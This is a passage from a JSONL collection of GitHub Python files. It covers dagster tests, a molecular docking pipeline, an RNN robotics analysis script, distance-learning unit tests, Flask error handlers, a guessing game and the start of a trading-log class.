Bx\")\nplt.xlabel(\"t-values\")\nplt.ylabel(\"x-values\")\nplt.legend()\nplt.show()","repo_name":"MagilanV3/Python-Functions-for-Numerical-Solutions","sub_path":"single_ode.py","file_name":"single_ode.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9881043777","text":"from dagster import Definitions, EnvVar, asset\nfrom dagster._core.test_utils import environ\nfrom docs_snippets.tutorial.connecting import (\n connecting,\n connecting_with_config,\n connecting_with_envvar,\n)\nfrom docs_snippets.tutorial.connecting.resources import (\n DataGeneratorResource,\n)\n\n\ndef test_definitions_with_resources():\n repository = connecting.defs.get_repository_def()\n resource_keys = repository.get_resource_key_mapping().values()\n assert len(resource_keys) == 3\n assert \"hackernews_api\" in resource_keys\n\n\ndef test_resources_with_config():\n executed = {}\n\n NUM_DAYS = 365\n\n @asset\n def test_asset(datagen: DataGeneratorResource):\n assert datagen.num_days == NUM_DAYS\n executed[\"yes\"] = True\n\n defs = Definitions(\n assets=[test_asset],\n resources={\n \"datagen\": DataGeneratorResource(\n num_days=NUM_DAYS,\n )\n },\n )\n\n assert defs.get_implicit_global_asset_job_def().execute_in_process().success\n assert executed[\"yes\"]\n\n\ndef test_resources_with_env_var():\n with environ({\"HACKERNEWS_NUM_DAYS_WINDOW\": \"5\"}):\n executed = {}\n\n @asset\n def test_asset(datagen: DataGeneratorResource):\n assert datagen.num_days == 5\n executed[\"yes\"] = True\n\n defs = Definitions(\n assets=[test_asset],\n resources={\n \"datagen\": DataGeneratorResource(\n num_days=EnvVar.int(\"HACKERNEWS_NUM_DAYS_WINDOW\"),\n )\n },\n )\n\n assert defs.get_implicit_global_asset_job_def().execute_in_process().success\n assert executed[\"yes\"]\n","repo_name":"dagster-io/dagster","sub_path":"examples/docs_snippets/docs_snippets_tests/tutorial_tests/connecting/test_resources.py","file_name":"test_resources.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"}
+{"seq_id":"25474903834","text":"# IT IS AN APPROACH TO GET ENERGY BINDING DATA FROM MOLECULAR DOCKING PROCEDURE\n\nimport sys\nsys.path.append('/home/dnowak/seq_to_seq_and_dock_AMU/pyscreener') # a path to pyscreener\n\nfrom chembl_structure_pipeline import standardize_mol, get_parent_mol\n\nimport pickle\nimport pandas as pd\n\nimport pyscreener\nimport prody\nfrom openbabel import pybel\n\nfrom pdbfixer import PDBFixer\nfrom simtk.openmm.app import PDBFile\n\nfrom Bio.PDB import PDBParser, PDBIO, Select\nfrom Bio.PDB.PDBIO import PDBIO\n\nfrom rdkit import Chem\n\nfrom rdkit.Chem import PandasTools\n\n\nimport numpy as np\n\nfrom pyscreener.docking import vina\n\n\ndebug = False\n\n# returns coordinates (MIN, MAX)\ndef getMacromoleculeBox(PDBfile):\n print(\"Processed receptor: \"+PDBfile)\n parser = PDBParser(QUIET = True)\n macromolecule = parser.get_structure(PDBfile,PDBfile)\n for model in macromolecule.get_models():\n print(\"model \", model.id)\n extreemeCoords = {}\n coordMin = [999, 999, 999]\n coordMax = [-999, -999, -999]\n for chain in model.get_chains():\n print(\"chain \", chain.id, len(list(chain.get_residues())), \"residues\")\n residuesPerChain = []\n for residue in chain.get_residues():\n for atom in residue.get_atoms():\n #print(residue.get_resname(), atom.get_name(), atom.get_coord())\n coords = atom.get_coord()\n\n for iii, (cooMin, cooMax, coo) in enumerate(zip(coordMin, coordMax, coords)):\n coordMin[iii] = min(cooMin, float(coo))\n coordMax[iii] = max(cooMax, float(coo))\n\n extreemeCoords[model.id] = [coordMin, coordMax]\n return extreemeCoords\n \n \n \n# Allows to analyze receptor and find unwanted residues\ndef analyzeReceptor(receptorFile):\n pdb = prody.parsePDB(receptorFile)\n proteinC = pdb.select('protein')\n \n chains = list(set(pdb.getChids()))\n ligandGeo = []\n for chain in chains:\n ligand = pdb[chain].select('not protein and not water and not ion')\n if ligand: ligandGeo.append((ligand.getCoords(), ligand.getElements()))\n \n residuesInReceptor = None\n if proteinC: residuesInReceptor = list(set(proteinC.getResnames()))\n return ligandGeo, residuesInReceptor\n \n \n#removing of unwanted residues\n\ndef removeUnwantedResidues(pdbFile, pdbFileOut):\n pdb = PDBParser().get_structure(receptor.split('.')[0], pdbFile)\n residue_to_remove = []\n for model in pdb:\n if debug: print(model)\n for chain in model:\n if debug: print(chain)\n for residue in chain:\n if debug: print(residue.get_resname())\n if residue.id[0] != ' ':\n residue_to_remove.append((chain.id, residue.id))\n\n\n for residue in residue_to_remove:\n model[residue[0]].detach_child(residue[1])\n\n io = PDBIO()\n io.set_structure(pdb)\n io.save(pdbFileOut)\n return len(residue_to_remove)\n \n#returns a search space - a box\ndef getSearchSpace(receptorFile, margin, mode='fullProteinSearch'):\n pdb = prody.parsePDB(receptorFile)\n ligandC = pdb.select('not protein and not water and not ion')\n proteinC = pdb.select('protein')\n if ligandC: lCoords = ligandC.getCoords()\n pCoords = proteinC.getCoords()\n if mode=='fullProteinSearch':\n size = [abs(pCoords[:, i].min()) + abs(pCoords[:, i].max())+margin for i in range(3)]\n center = [(pCoords[:, i].min() + pCoords[:, i].max())/2 for i in range(3)]\n elif mode=='ligandSearch' and lCoords:\n center = [(lCoords[:, i].min() + lCoords[:, i].max())/2 for i in range(3)]\n size = [20.0, 20.0, 20.0]\n \n return center, size\n\n\n#perform a molecular docking procedure with specified software and other parameters\ndef dock_smiles(ligandSmiles, receptorsCleaned, center, size, ncpu, software='vina'): #smima\n pyscreenerInstance = vina.Vina(software=software, receptors=receptorsCleaned, center = center, size=size)\n ligand = pyscreenerInstance.prepare_from_smi(smi=ligandSmiles, rdkitOptimized=True)\n extra = ['--exhaustiveness=8', '--seed=1234']\n dock_results = pyscreenerInstance.dock_ligand(ligand=ligand, software=software, receptors=receptorsCleaned, \n center = center, size=size, ncpu=ncpu, extra=extra)\n return dock_results\n\n\n#geometrical center obtainment\ndef getLigandGeometricalCenter(molFileName):\n # get molecules\n mols = pybel.readfile('pdbqt', molFileName) #qt\n mols_list = [mol for mol in mols]\n coords = []\n for atom in mols_list[0].atoms:\n coords.append(atom.coords)\n \n coords = np.array(coords)\n geoCenter = [coords[:, idx].mean() for idx in range(3)]\n return geoCenter\n\n#Get structure of selected protein\nprody.fetchPDB('7npc', compressed=False)\nprody.fetchPDB('7np5', compressed=False)\nprody.fetchPDB('7kxd', compressed=False)\n\nconsideredReceptors = ['7npc', '7np5','7kxd']\n\n# Potential drugs to be docked loading\n\nto_be_docked = pd.read_excel(r'../prediction_and_selection/All_generated_SMILES_SYBA_filtration.xlsx')\nto_be_docked = to_be_docked['SMILES']\n\nligand_present_in_raw_pdb_file = ['C1=CC(=C(C(=C1)Cl)C2=NOC(=C2COC3=CC=C(C=C3)C(=O)O)C4=CNC=C4)C(F)(F)F', 'CC(C)C1=C(C=CC(=C1)OC2=C(C=C(C=C2Cl)CO)Cl)OC']\n\nto_be_docked = list(to_be_docked)\n\nto_be_docked = to_be_docked.copy()\nfor i in range(len(ligand_present_in_raw_pdb_file)):\n to_be_docked.append(ligand_present_in_raw_pdb_file[i])\n \n\n##################\n##################\n#WHOLE PROCEDURE OF MOLECULAR DOCKING \n#WITH CREATION OF RESULTS FILE\n\nrawSufix = '.pdb'\nfixSuffix = '_fixer.pdb'\ncleSuffix = '_clean.pdb'\n\nnCPU = 12\n\nresultsDF = pd.DataFrame(columns = ['smiles']+consideredReceptors)\n\nsampledSmiles = pd.DataFrame(to_be_docked) #[0:5]\nsampledSmiles = sampledSmiles.values.flatten().tolist()\n\nresultsDF['smiles'] = sampledSmiles\n\nfor receptor in consideredReceptors:\n print(receptor)\n lCoords, residuesInReceptor = analyzeReceptor(receptor+rawSufix)\n print('Residues (aminiacids) in receptor: ', end=' ')\n for residue in residuesInReceptor:\n print(residue, end=' ')\n \n fixer = PDBFixer(receptor+rawSufix)\n fixer.findNonstandardResidues()\n fixer.replaceNonstandardResidues()\n PDBFile.writeFile(fixer.topology, fixer.positions, open(receptor+fixSuffix, 'w'))\n removeUnwantedResidues(receptor+fixSuffix, receptor+cleSuffix)\n print('\\n')\n \n # full search space with margin\n center, size = getSearchSpace(receptor+cleSuffix, margin=10)\n print('size:, center ', size, center)\n \n\n receptors = [receptor+cleSuffix] #+'qt'\n receptors_docking = [receptor+cleSuffix+'qt']\n results = []\n \n ##Create pdbqt files...\n try:\n dock = dock_smiles(sampledSmiles[0], receptors, center, size, nCPU)\n except:\n pass\n for smiles in sampledSmiles: #[:1]\n \n smilesCleaned = Chem.MolToSmiles(get_parent_mol(Chem.MolFromSmiles(smiles), neutralize=True, check_exclusion=True, verbose=False)[0])\n try:\n dock_results = dock_smiles(smilesCleaned, receptors_docking, center, size, nCPU) #here should be list of all receptors in *pdbqt format\n except: #receptors\n dock_results = None\n \n if dock_results:\n docked_molecule = dock_results[0][0]['out']\n geoCenter = getLigandGeometricalCenter(docked_molecule.name)\n dockingScore = dock_results[0][0]['score']\n result = tuple([dockingScore, geoCenter])\n results.append(result)\n else:\n result = tuple([None, None])\n results.append(result) \n \n pd.Index.size!=len(sampledSmiles)\n resultsDF[receptor] = results \n \n##################\n##################\n\n#Add column with image of each docked molecule\nsmilesCleaned = [Chem.MolToSmiles(get_parent_mol(Chem.MolFromSmiles(smiles), neutralize=True, check_exclusion=True, verbose=False)[0]) for smiles in sampledSmiles]\nresultsDF['Mol Image'] = [Chem.MolFromSmiles(s) for s in smilesCleaned]\nPandasTools.SaveXlsxFromFrame(resultsDF, 'dockingResults_ROR_gamma_SYBA_selected.xlsx', molCol='Mol Image')\n\n# After the first molecular docking, the created file can be checked to see if any structure was problematic during the procedure. If so, the file can be duplicated, and the suffix \"_blind_try” should be added just before the .xlsx extension.\n# Then code present in the file All_generated_SMILES_visualization.ipynb can be launched.\n\n#Save results to csv file\n#resultsDF.to_csv('dockingResults_ROR_gamma.csv', index=True) #results without 2D representation of molecule\n\n","repo_name":"XDamianX-coder/seq_to_seq_and_dock_AMU","sub_path":"molecular_docking/Python_molecular_docking.py","file_name":"Python_molecular_docking.py","file_ext":"py","file_size_in_byte":8632,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"39082599708","text":"from analysis.chiefinvestigation import Chiefinvestigator\nimport os\nimport numpy as np\n# actual_action = actuation_center + aoi * actuation_range\n\nif __name__ == \"__main__\":\n os.chdir(\"../../\") # remove if you want to search for ids in the analysis directory\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n # agent_id = 1583404415 # 1583180664 lunarlandercont\n # agent_id = 1585500821 # cartpole-v1\n # agent_id = 1585557832 # MountainCar # 1585561817 continuous\n # agent_id = 1583256614 # reach task\n agent_id, env = 1585777856, \"HandFreeReachLFAbsolute-v0\" # free reach\n # agent_id = 1586597938# finger tapping\n\n chiefinvesti = Chiefinvestigator(agent_id)\n\n layer_names = chiefinvesti.get_layer_names()\n print(layer_names)\n # collect data from episodes\n n_episodes = 5\n activations_over_all_episodes, inputs_over_all_episodes, \\\n actions_over_all_episodes, states_all_episodes = chiefinvesti.get_data_over_episodes(n_episodes,\n \"policy_recurrent_layer\",\n layer_names[1])\n activations_single_run, inputs_single_run, actions_single_run = chiefinvesti.get_data_over_single_run(\n 'policy_recurrent_layer',\n layer_names[1])\n\n geom_quat = chiefinvesti.env.sim.model.geom_quat\n\n ctrlrange = chiefinvesti.env.sim.model.actuator_ctrlrange\n actuation_range = (ctrlrange[:, 1] - ctrlrange[:, 0]) / 2.\n actuation_center = np.zeros(20)\n for i in range(chiefinvesti.env.sim.data.ctrl.shape[0]):\n actuation_center[i] = chiefinvesti.env.sim.data.get_joint_qpos(\n chiefinvesti.env.sim.model.actuator_names[i].replace(':A_', ':'))\n for joint_name in ['FF', 'MF', 'RF', 'LF']:\n act_idx = chiefinvesti.env.sim.model.actuator_name2id(\n 'robot0:A_{}J1'.format(joint_name))\n actuation_center[act_idx] += chiefinvesti.env.sim.data.get_joint_qpos(\n 'robot0:{}J0'.format(joint_name))\n n = 2\n aoi = actions_over_all_episodes[:n, :]\n actual_action = np.repeat(actuation_center.reshape(1, -1), axis=0, repeats=n) + aoi * actuation_range\n\n\n def unit_vector(vector):\n \"\"\" Returns the unit vector of the vector. \"\"\"\n return vector / np.linalg.norm(vector)\n\n\n def angle_between(v1, v2):\n \"\"\" Returns the angle in radians between vectors 'v1' and 'v2'::\n\n >>> angle_between((1, 0, 0), (0, 1, 0))\n 1.5707963267948966\n >>> angle_between((1, 0, 0), (1, 0, 0))\n 0.0\n >>> angle_between((1, 0, 0), (-1, 0, 0))\n 3.141592653589793\n \"\"\"\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n\n\n def compute_a_theta(some_quat):\n a_some_quat = some_quat[1:] / np.sqrt(np.sum(np.square(some_quat[1:])))\n print(a_some_quat)\n theta_some_quat = 2 * np.arctan2(np.sqrt(np.sum(np.square(some_quat[1:]))), some_quat[0])\n print(np.degrees(theta_some_quat))\n\n return a_some_quat, theta_some_quat\n\n\n # update quaternion\n # new_quat = np.ndarray((np.cos(new_angle/2), 0, np.sin(new_angle/2)*some_quat[2], 0))\n\n def quaternion_mult(q, r):\n return [r[0] * q[0] - r[1] * q[1] - r[2] * q[2] - r[3] * q[3],\n r[0] * q[1] + r[1] * q[0] - r[2] * q[3] + r[3] * q[2],\n r[0] * q[2] + r[1] * q[3] + r[2] * q[0] - r[3] * q[1],\n r[0] * q[3] - r[1] * q[2] + r[2] * q[1] + r[3] * q[0]]\n\n\n def point_rotation_by_quaternion(point, q):\n r = point\n q_conj = [q[0], -1 * q[1], -1 * q[2], -1 * q[3]]\n return quaternion_mult(quaternion_mult(q, r), q_conj)\n\n\n # finding orientation and angle of geoms\n some_quat = geom_quat[4, :]\n a_some_quat, theta_some_quat = compute_a_theta(some_quat)\n\n initial_action = -0.16514339750464327\n rotation_quat = [np.cos(initial_action / 2), 0, np.sin(initial_action / 2), 0]\n a = point_rotation_by_quaternion(rotation_quat, some_quat)\n\n print('Angle between old point and new point', np.degrees(angle_between(a[1:], a_some_quat)))\n print('Degrees by action', np.degrees(initial_action))\n a_vector, theta_a = compute_a_theta(a)\n\n rotation_quat = [np.cos(actual_action[0, 0] / 2), 0, np.sin(actual_action[0, 0] / 2), 0]\n b = point_rotation_by_quaternion(rotation_quat, some_quat)\n print('Angle between old point and new point', np.degrees(angle_between(b[1:], a_some_quat)))\n print('Degrees by action', np.degrees(actual_action[0, 0]))\n b_vector, theta_b = compute_a_theta(b)\n\n rotation_quat = [np.cos(actual_action[1, 0] / 2), 0, np.sin(actual_action[1, 0] / 2), 0]\n c = point_rotation_by_quaternion(rotation_quat, some_quat)\n print('Angle between old point and new point', np.degrees(angle_between(c[1:], a_some_quat)))\n print('Degrees by action', np.degrees(actual_action[1, 0]))\n c_vector, theta_c = compute_a_theta(c)","repo_name":"prstolpe/rnn_experiments","sub_path":"utilities/environment_invest.py","file_name":"environment_invest.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"924651117","text":"# © 2020 Nokia\n# Licensed under the BSD 3-Clause License.\n# SPDX-License-Identifier: BSD-3-Clause\n# !/usr/bin/env python3\n# coding: utf-8\n# Author: Élie de Panafieu \n\n\nimport unittest\nfrom learning_distance import *\nfrom oracle_claim import OracleClaim\n\niterables = ['aa', 'ab', 'bbb']\nitem_to_weight = {'a': 1, 'b': 2}\niterable_to_weight = {'aa': 1, 'ab': 2, 'bbb': 3}\ndistance = LearningDistance(iterables, item_to_weight, iterable_to_weight)\niterables0 = {'ab'}\niterables1 = {'bbb'}\niterables2 = {'ab', 'ab'}\niterables3 = {'bbb', 'aa'}\n\n\nclass TestLearningDistance(unittest.TestCase):\n\n def test_learn_correct_interval_target(self):\n iterable0 = ('a', 'a', 'a', 'b')\n iterable1 = ('a', 'a', 'a', 'b')\n iterable2 = ('a', 'a', 'b', 'b')\n iterable3 = ('a', 'c')\n all_iterables = [iterable0, iterable1, iterable2, iterable3]\n item_weights = {'a': 1., 'b': 2., 'c': 0.5}\n iterable_weights = {iterable0: 1., iterable1: 1., iterable2: 1., iterable3: 1.}\n interval_true_distance = (0.1, 0.2)\n oracle_claim = OracleClaim(({iterable0, iterable1}, {iterable1, iterable3}), interval_true_distance)\n learning_distance = LearningDistance(all_iterables, item_to_weight=item_weights,\n iterable_to_weight=iterable_weights)\n # old_distance = learning_distance(oracle_claim.iterables_pair[0], oracle_claim.iterables_pair[1])\n learning_distance.learn({oracle_claim}, ratio_item_iterable_learning=1., number_of_iterations=5,\n convergence_speed=0.5)\n new_distance = learning_distance(oracle_claim.iterables_pair[0], oracle_claim.iterables_pair[1])\n self.assertTrue(abs(new_distance - 0.1) < abs(new_distance - 0.2))\n\n def test_learn(self):\n current_distance0 = distance(iterables0, iterables1)\n target_distance0 = current_distance0 * 2.\n oracle_claim0 = OracleClaim((iterables0, iterables1), (target_distance0, 1.))\n current_distance1 = distance(iterables2, iterables3)\n target_distance1 = current_distance1 * 2.\n oracle_claim1 = OracleClaim((iterables2, iterables3), (target_distance1, 1.))\n distance.learn([oracle_claim0, oracle_claim1], number_of_iterations=5)\n obtained_distance0 = distance(iterables0, iterables1)\n obtained_distance1 = distance(iterables2, iterables3)\n self.assertTrue(abs(obtained_distance0 - target_distance0) < abs(current_distance0 - target_distance0))\n self.assertTrue(abs(obtained_distance1 - target_distance1) < abs(current_distance1 - target_distance1))\n\n def test_learn_from_one_oracle_claim_larger_distance(self):\n current_distance = distance(iterables0, iterables1)\n target_distance = current_distance * 2.\n oracle_claim = OracleClaim((iterables0, iterables1), (target_distance, 1.))\n distance.learn_from_one_oracle_claim(oracle_claim, effort=0.5)\n obtained_distance = distance(iterables0, iterables1)\n self.assertTrue(abs(obtained_distance - target_distance) < abs(current_distance - target_distance))\n\n def test_learn_from_one_oracle_claim_smaller_distance(self):\n current_distance = distance(iterables0, iterables1)\n target_distance = current_distance / 2.\n oracle_claim = OracleClaim((iterables0, iterables1), (0., target_distance))\n distance.learn_from_one_oracle_claim(oracle_claim, effort=0.5)\n obtained_distance = distance(iterables0, iterables1)\n self.assertTrue(abs(obtained_distance - target_distance) < abs(current_distance - target_distance))\n\n def test_closest_point_from_interval(self):\n interval = (-2, 4)\n self.assertEqual(closest_point_from_interval(-3, interval), -2)\n self.assertEqual(closest_point_from_interval(-2, interval), -2)\n self.assertEqual(closest_point_from_interval(5, interval), 4)\n self.assertEqual(closest_point_from_interval(1, interval), 1)\n\n def test_non_trivial_hadamard_scalar_product(self):\n matrix = ((1, 2), (3, 4))\n u0 = create_vector([1, 2, 3])\n u1 = create_vector([10, 20, 30])\n v0 = create_vector([4, 1, 2])\n v1 = create_vector([3, 2, 1])\n computed = non_trivial_hadamard_scalar_product((u0, u1), matrix, (v0, v1))\n r00 = coefficient_wise_vector_product(u0, v0)\n r01 = coefficient_wise_vector_product(u0, v1)\n r10 = coefficient_wise_vector_product(u1, v0)\n r11 = coefficient_wise_vector_product(u1, v1)\n expected = matrix[0][0] * r00 + matrix[0][1] * r01 + matrix[1][0] * r10 + matrix[1][1] * r11\n self.assertTrue(are_equal_vectors(expected, computed))\n\n def test_rescale_vector_from_gradient_and_effort(self):\n vector = create_vector([6, 4, -2, 0])\n computed = rescale_vector_from_gradient_and_effort(vector, 1.)\n expected = create_vector([1 + 6/2, 1 + 4/2, 1 + -2/2, 1])\n self.assertTrue(are_equal_vectors(expected, computed))\n vector = create_vector([0, 1, 2, 3])\n computed = rescale_vector_from_gradient_and_effort(vector, 1.)\n expected = create_vector([1, 2, 3, 4])\n self.assertTrue(are_equal_vectors(expected, computed))\n\n\ndef random_vector(length):\n return create_vector([0.5 - random.random() for _ in range(length)])\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n\"\"\"\n# ------------- DRAFT --------------- #\n\nfrom learning_distance import LearningDistance\nfrom oracle_claim import OracleClaim\n\ndef normalize_distribution(distribution):\n normalization_factor = sum(distribution.values())\n return {item: value / normalization_factor for item, value in distribution.items()}\n \n \niterable0 = ('a', 'a', 'a', 'b')\niterable1 = ('a', 'a', 'a', 'b')\niterable2 = ('a', 'a', 'b', 'b')\niterable3 = ('a', 'c')\nall_iterables = [iterable0, iterable1, iterable2, iterable3]\nitem_weights = {'a': 1., 'b': 2., 'c': 0.5}\niterable_weights = {iterable0: 1., iterable1: 1., iterable2: 1., iterable3: 1.}\ninterval_true_distance = (0.1, 0.2)\noracle_claim = OracleClaim(({iterable0, iterable1}, {iterable1, iterable3}), interval_true_distance)\nlearning_distance = LearningDistance(all_iterables, item_to_weight=item_weights,\n iterable_to_weight=iterable_weights)\nprint(normalize_distribution(learning_distance.get_item_weights()))\nold_distance = learning_distance(oracle_claim.iterables_pair[0], oracle_claim.iterables_pair[1])\nprint(old_distance)\nlearning_distance.learn({oracle_claim}, ratio_item_iterable_learning=1., number_of_iterations=5,\n convergence_speed=0.5)\nprint(normalize_distribution(learning_distance.get_item_weights()))\nnew_distance = learning_distance(oracle_claim.iterables_pair[0], oracle_claim.iterables_pair[1])\nprint(new_distance)\n\n\n\niterable0 = ('a', 'a', 'a', 'b')\niterable1 = ('a', 'a', 'a', 'b')\niterable2 = ('a', 'a', 'b', 'b')\niterable3 = ('a', 'c')\nall_iterables = [iterable0, iterable1, iterable2, iterable3]\nitem_weights = {'a': 1., 'b': 2., 'c': 0.5}\niterable_weights = {iterable0: 1., iterable1: 1., iterable2: 1., iterable3: 1.}\nlearning_distance = LearningDistance(all_iterables, item_to_weight=item_weights, iterable_to_weight=iterable_weights)\nprint(normalize_distribution(learning_distance.get_item_weights()))\n# {'a': 0.2857142857142857, 'b': 0.5714285714285714, 'c': 0.14285714285714285}\nprint(learning_distance({iterable0, iterable1}, {iterable1, iterable3}))\n# 0.004282674925764063\n\noracle_claim = OracleClaim(({iterable0, iterable1}, {iterable1, iterable3}), (0.1, 0.2))\nset_of_claims = {oracle_claim}\nlearning_distance.learn(set_of_claims, ratio_item_iterable_learning=1., number_of_iterations=100, convergence_speed=0.1)\nprint(normalize_distribution(learning_distance.get_item_weights()))\n\nprint(learning_distance({iterable0, iterable1}, {iterable1, iterable3}))\n# 0.2007295884897502 ???\n\n\nvector delta (unitary?)\ndistance to target\ndistance to setting a weight to 0\nnumber of steps\nspeed of convergence\n\"\"\"","repo_name":"nokia/natural-language-processing","sub_path":"tests/test_learning_distance.py","file_name":"test_learning_distance.py","file_ext":"py","file_size_in_byte":8055,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"8531659189","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2022-11-20 12:58:29\n# @Author : Your Name (you@example.org)\n# @Link : http://example.org\n# @Version : $Id$\n\n\nfrom danc_python import Diagram\n\n\ndef run():\n diagram = Diagram()\n d = diagram.init_draw(\"mermaid.state\")\n\n d.l(None, \"ListTable\")\n d.l(\"ListTable\", \"InitObj\", \"NewObj\")\n d.l(\"ListTable\", \"LoadObj\", \"EditObj\")\n d.l(\"InitObj\", \"ShowModal\")\n d.l(\"LoadObj\", \"ShowModal\")\n d.l(\"LoadObj\", \"EditModal\")\n d.l(\"EditModal\", \"StoreDetail\", \"Accept\")\n if_state = d.iif()\n d.l(\"StoreDetail\", if_state)\n d.l(if_state, \"CloseModal\", \"success\")\n d.l(if_state, \"ShowErrors\", \"error\")\n d.l(\"ShowErrors\", \"EditModal\")\n d.l(\"EditModal\", \"CloseModal\", \"Cancel\")\n d.l(\"EditModal\", \"CloseModal\", \"Error\")\n d.l(\"CloseModal\", \"RefreshList\")\n d.l(\"RefreshList\", \"ListTable\")\n d.l(\"ListTable\", None)\n\n diagram.open_in_browser(d)\n\nif __name__==\"__main__\":\n run()\n\n\n","repo_name":"Alex-vz/danc_python","sub_path":"code/try_3.py","file_name":"try_3.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"10775990747","text":"# -*- coding: utf-8 -*-\n__author__ = 'mrodriguez'\n\nfrom flask import Response, json, jsonify\n\n\nclass BaseExceptionError(Exception):\n _status_code = None\n _payload = None\n\n def __init__(self, payload=None):\n Exception.__init__(self)\n if self.status_code is None:\n raise NotImplementedError()\n self._payload = payload\n\n @staticmethod\n def get_headers():\n \"\"\"Get a list of headers.\"\"\"\n return [('Content-Type', 'application/json')]\n\n def get_response(self):\n json_str = '' if self._payload is None else json.dumps(self._payload)\n return Response(json_str, self.status_code, self.get_headers())\n\n\nclass BadRequestError(BaseExceptionError):\n status_code = 400\n\n\nclass ValidationError(BadRequestError):\n # Parameters:\n # missing (list of string)\n # This means a resource does not exist.\n # missing_field (list of string)\n # This means a required field on a resource has not been set.\n # invalid (list of string)\n # This means the formatting of a field is invalid.\n # The documentation for that resource should be able to\n # give you more specific information.\n # already_exists (list of string)\n # This means another resource has the same value as this field.\n # This can happen in resources that must have some unique key.\n # payload format:\n # [{ \"field\": name, \"code\": code}, .... ]\n def __init__(self, missing=None, missing_fields=None,\n invalid=None, already_exists=None):\n errors = []\n if missing is not None:\n for field in missing:\n errors.append({\n \"field\": field,\n \"code\": \"missing\"\n })\n if missing_fields is not None:\n for field in missing_fields:\n errors.append({\n \"field\": field,\n \"code\": \"missing_field\"\n })\n if invalid is not None:\n for field in invalid:\n errors.append({\n \"field\": field,\n \"code\": \"invalid\"\n })\n if already_exists is not None:\n for field in already_exists:\n errors.append({\n \"field\": field,\n \"code\": \"already_exists\"\n })\n BadRequestError.__init__(self,\n payload={\"message\": \"ValidationError\",\n \"errors\": errors})\n\n\nclass InternalServerError(BaseExceptionError):\n status_code = 500\n\n\nclass NotFoundError(BaseExceptionError):\n status_code = 404\n\n\nclass BadGatewayError(BaseExceptionError):\n status_code = 502\n \nclass ConflictError(BaseExceptionError):\n status_code = 409\n \ndef configure_error_handlers(app):\n\n # pylint: disable=W0612\n @app.errorhandler(NotFoundError)\n def handle_notfound(error):\n return error.get_response()\n\n @app.errorhandler(404)\n def handle_notfound_404(_):\n err = NotFoundError()\n return err.get_response()\n\n @app.errorhandler(BadRequestError)\n def handle_badrequesterror(error):\n return jsonify(error.to_dict()), error.status_code\n\n @app.errorhandler(ConflictError)\n def handle_conflict(error):\n return error.get_response()\n\n @app.errorhandler(InternalServerError)\n def handle_internalservererror(error):\n return error.get_response()\n\n @app.errorhandler(BadGatewayError)\n def handle_badgatewayerror(error):\n return error.get_response()\n\n #Unexpected error.\n @app.errorhandler(Exception)\n def handle_default_error(error):\n err = InternalServerError(error)\n return err.get_response()\n\n","repo_name":"MRodriguez08/python-angular-flask","sub_path":"carsportal/core/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73446620969","text":"import random\n \nguess = int(input(\"Guess a number between 0 and 20: \"))\nx = random.randint(0, 20)\nprint(x)\n\nif guess == x:\n\tprint(\"Congratulations, you guessed right!\")\n\t\nwhile True:\n\tif guess < x:\n\t\tprint(\"Your guess is too low. Guess another number:\")\n\t\tguess = int(input()) \n\n\telif guess > x:\n\t\tprint(\"Your guess is too high. Guess another number:\")\n\t\tguess = int(input()) \n\t\n\n\telse:\n\t\tprint(\"Congratulations, you guessed right!\")\n\t\tbreak\n\t\t\n\t\n\n#Learning here - important in the while loop to do if, elif, else.\n#if can't be followed by if - it seems to work until it goes weird.\n#the else must be part of the while loop for when the condition does become true.\n#must add a break at the end of the while loop or it prints congratulation forever.","repo_name":"knitdance/Beginner-python-projects","sub_path":"guessnumber.py","file_name":"guessnumber.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39711088727","text":"import pandas as pd\nfrom loguru import logger\nfrom functools import cached_property\n\nimport tradepy\nfrom tradepy.core.account import Account\nfrom tradepy.core.models import Position\nfrom tradepy.types import TradeActions, TradeActionType\nfrom tradepy.trade_book.types import CapitalsLog, TradeLog, AnyAccount\nfrom tradepy.trade_book.storage import (\n TradeBookStorage,\n SQLiteTradeBookStorage,\n InMemoryTradeBookStorage,\n)\n\n\nclass TradeBook:\n def __init__(self, storage: TradeBookStorage) -> None:\n self.storage = storage\n\n @cached_property\n def trade_logs_df(self) -> pd.DataFrame:\n df = pd.DataFrame(self.storage.fetch_trade_logs())\n df.set_index(\"timestamp\", inplace=True)\n df.sort_index(inplace=True)\n\n try:\n codes = df[\"code\"].unique()\n code_to_company = tradepy.listing.df.loc[codes, \"name\"]\n df = df.join(code_to_company, on=\"code\")\n df.rename(columns={\"name\": \"company\"}, inplace=True)\n except FileNotFoundError:\n logger.debug(\"未找到股票列表数据, 无法在交易历史中添加公司名称\")\n except KeyError:\n logger.debug(\"股票列表数据中没有找到某些股票的公司名称\")\n return df\n\n @cached_property\n def cap_logs_df(self) -> pd.DataFrame:\n cap_df = pd.DataFrame(self.storage.fetch_capital_logs())\n cap_df[\"timestamp\"] = pd.to_datetime(cap_df[\"timestamp\"])\n cap_df[\"capital\"] = (\n cap_df[\"market_value\"]\n + cap_df[\"free_cash_amount\"]\n + cap_df[\"frozen_cash_amount\"]\n )\n cap_df[\"pct_chg\"] = cap_df[\"capital\"].pct_change()\n cap_df.dropna(inplace=True)\n cap_df.set_index(\"timestamp\", inplace=True)\n return cap_df\n\n def clone(self) -> \"TradeBook\":\n storage = 